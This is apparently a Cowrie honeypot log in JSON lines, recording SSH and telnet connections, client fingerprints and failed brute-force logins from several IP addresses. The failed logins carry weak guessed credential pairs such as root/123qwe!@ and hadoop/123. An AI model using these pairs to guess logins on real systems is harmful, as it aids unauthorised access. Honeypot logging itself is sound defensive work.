{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:13.334780Z","src_ip":"43.166.242.149","session":"ead1350a01e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankieta","password":"123456","message":"login attempt [ankieta/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:13.633060Z","src_ip":"43.166.242.149","session":"ead1350a01e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:14.646566Z","src_ip":"43.166.242.149","session":"ead1350a01e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37002,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d460be4fb73","protocol":"ssh","message":"New connection: 45.156.87.147:37002 (10.17.0.5:22) [session: 1d460be4fb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:15.835250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:15.840742Z","src_ip":"45.156.87.147","session":"1d460be4fb73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:15.920182Z","src_ip":"45.156.87.147","session":"1d460be4fb73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:16.238091Z","src_ip":"45.156.87.147","session":"1d460be4fb73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:17.322293Z","src_ip":"45.156.87.147","session":"1d460be4fb73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53498,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2614217a36b","protocol":"ssh","message":"New connection: 45.156.87.147:53498 (10.17.0.5:22) [session: d2614217a36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:22.121165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:22.126759Z","src_ip":"45.156.87.147","session":"d2614217a36b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:22.211447Z","src_ip":"45.156.87.147","session":"d2614217a36b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Aa123456.","message":"login attempt [debian/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:22.462448Z","src_ip":"45.156.87.147","session":"d2614217a36b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:23.551787Z","src_ip":"45.156.87.147","session":"d2614217a36b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2fedf7fc755","protocol":"ssh","message":"New connection: 45.156.87.147:53508 (10.17.0.5:22) [session: f2fedf7fc755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:28.326504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:28.331003Z","src_ip":"45.156.87.147","session":"f2fedf7fc755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:28.412923Z","src_ip":"45.156.87.147","session":"f2fedf7fc755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:28.671216Z","src_ip":"45.156.87.147","session":"f2fedf7fc755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:29.846194Z","src_ip":"45.156.87.147","session":"f2fedf7fc755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55816,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe100fe7c8c3","protocol":"ssh","message":"New connection: 45.156.87.147:55816 (10.17.0.5:22) [session: fe100fe7c8c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:34.825006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:34.831819Z","src_ip":"45.156.87.147","session":"fe100fe7c8c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:34.915205Z","src_ip":"45.156.87.147","session":"fe100fe7c8c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:35.162616Z","src_ip":"45.156.87.147","session":"fe100fe7c8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37944,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b9db8a731d","protocol":"telnet","message":"New connection: 94.23.66.112:37944 (10.17.0.5:23) [session: f8b9db8a731d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:35.976689Z"}
{"eventid":"cowrie.session.closed","duration":0.003991842269897461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:35.980563Z","src_ip":"94.23.66.112","session":"f8b9db8a731d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:36.254263Z","src_ip":"45.156.87.147","session":"fe100fe7c8c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42918,"dst_ip":"10.17.0.5","dst_port":22,"session":"475fcb0f1877","protocol":"ssh","message":"New connection: 45.156.87.147:42918 (10.17.0.5:22) [session: 475fcb0f1877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:40.938148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:40.942165Z","src_ip":"45.156.87.147","session":"475fcb0f1877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:41.029929Z","src_ip":"45.156.87.147","session":"475fcb0f1877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:41.288743Z","src_ip":"45.156.87.147","session":"475fcb0f1877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":41884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bb675ad622","protocol":"telnet","message":"New connection: 94.23.66.112:41884 (10.17.0.5:23) [session: d9bb675ad622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:42.159775Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:42.377108Z","src_ip":"45.156.87.147","session":"475fcb0f1877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42928,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2257c232cdd","protocol":"ssh","message":"New connection: 45.156.87.147:42928 (10.17.0.5:22) [session: c2257c232cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:47.223067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:47.227850Z","src_ip":"45.156.87.147","session":"c2257c232cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:47.309371Z","src_ip":"45.156.87.147","session":"c2257c232cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:47.690004Z","src_ip":"45.156.87.147","session":"c2257c232cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:48.780679Z","src_ip":"45.156.87.147","session":"c2257c232cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94b70be3cae","protocol":"ssh","message":"New connection: 45.156.87.147:42302 (10.17.0.5:22) [session: e94b70be3cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:53.290269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:53.294184Z","src_ip":"45.156.87.147","session":"e94b70be3cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:53.379094Z","src_ip":"45.156.87.147","session":"e94b70be3cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:53.638606Z","src_ip":"45.156.87.147","session":"e94b70be3cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:54.729505Z","src_ip":"45.156.87.147","session":"e94b70be3cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.241","src_port":28610,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c4bc76a171","protocol":"ssh","message":"New connection: 148.113.221.241:28610 (10.17.0.5:22) [session: e5c4bc76a171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.811607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:41:56.815846Z","src_ip":"148.113.221.241","session":"e5c4bc76a171","protocol":"ssh"}
